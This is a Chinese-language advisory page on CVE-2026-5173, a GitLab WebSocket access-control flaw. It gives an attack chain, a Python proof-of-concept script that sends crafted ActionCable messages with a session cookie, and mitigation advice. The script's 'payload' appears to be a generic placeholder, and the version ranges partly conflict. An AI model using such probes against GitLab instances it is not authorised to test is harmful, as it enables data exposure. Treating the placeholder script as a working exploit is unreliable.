IPBUF安全漏洞报告
English
CVE-2026-5173 CVSS 8.5 高危

CVE-2026-5173 GitLab WebSocket访问控制不当漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-5173
漏洞类型
访问控制失效
CVSS评分
8.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab CE/EE

相关标签

访问控制GitLabWebSocket权限绕过CVE-2026-5173

漏洞概述

GitLab CE/EE 存在访问控制不当漏洞,影响 16.9.6 至 18.10.3 之间的多个版本。由于对 WebSocket 连接的访问控制不严,低权限攻击者可利用该漏洞调用非预期的服务端方法,造成信息泄露并可能影响数据完整性。

技术细节

该漏洞源于 GitLab 在处理 WebSocket 通信时未实施严格的访问控制检查。在受影响版本中,WebSocket 端点允许低权限用户通过已建立的连接直接调用后台服务端方法。由于系统未在调用链路中验证用户是否有权执行特定操作,攻击者可以构造恶意的 WebSocket 消息,触发非预期的服务器逻辑。这可能导致敏感数据泄露(C:H)或部分数据被篡改(I:L)。漏洞利用无需用户交互,且由于作用域为 Changed (S:C),可能影响同一服务器上的其他服务组件。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标 GitLab 实例及其版本,确认其属于受影响版本范围(16.9.6 至 18.10.3)。
STEP 2
2. 获取低权限凭证
攻击者注册一个普通用户账户或获取现有的低权限用户凭证(PR:L)。
STEP 3
3. 建立 WebSocket 连接
攻击者使用低权限凭证连接到 GitLab 的 WebSocket 端点(如 /-/cable)。
STEP 4
4. 构造并发送恶意载荷
攻击者通过 WebSocket 连接发送特制的消息,尝试调用未授权的服务端方法,绕过正常的 Web 访问控制检查。
STEP 5
5. 数据泄露或篡改
服务器响应请求,返回敏感信息(高机密性影响)或执行未授权的修改操作(低完整性影响)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def cve_2026_5173_poc(target_url, auth_token): """ PoC for CVE-2026-5173: GitLab WebSocket Improper Access Control This script attempts to invoke unintended server-side methods. """ # GitLab ActionCable WebSocket endpoint uri = f"wss://{target_url}/-/cable" headers = { "Cookie": f"_gitlab_session={auth_token}" } try: print(f"[+] Connecting to {uri}...") async with websockets.connect(uri, extra_headers=headers) as websocket: # Subscription command to a channel (example) subscribe_msg = { "command": "subscribe", "identifier": json.dumps({"channel": "GraphqlChannel"}) } await websocket.send(json.dumps(subscribe_msg)) print("[+] Subscription sent.") # Attempt to invoke an unintended method (Simulated payload) # In a real scenario, this would target specific exposed methods exploit_payload = { "command": "message", "identifier": json.dumps({"channel": "GraphqlChannel"}), "data": json.dumps({ "query": "query { currentUser { username } }", "variables": {}, "action": "execute" }) } print(f"[*] Sending exploit payload: {exploit_payload}") await websocket.send(json.dumps(exploit_payload)) response = await websocket.recv() print(f"[+] Server Response: {response}") if response: print("[!] Potential vulnerability confirmed if unauthorized data returned.") except Exception as e: print(f"[-] Error occurred: {e}") # Usage: asyncio.run(cve_2026_5173_poc("gitlab.example.com", "valid_token"))

影响范围

GitLab CE/EE >= 16.9.6, < 18.8.9
GitLab CE/EE >= 18.9, < 18.9.5
GitLab CE/EE >= 18.10, < 18.10.3

防御指南

临时缓解措施
如果无法立即升级,建议管理员暂时禁用 WebSocket 功能或严格限制 WebSocket 端点的网络访问,仅允许受信任的内部 IP 连接。同时,应加强对低权限用户行为的监控,审计异常的服务端方法调用记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表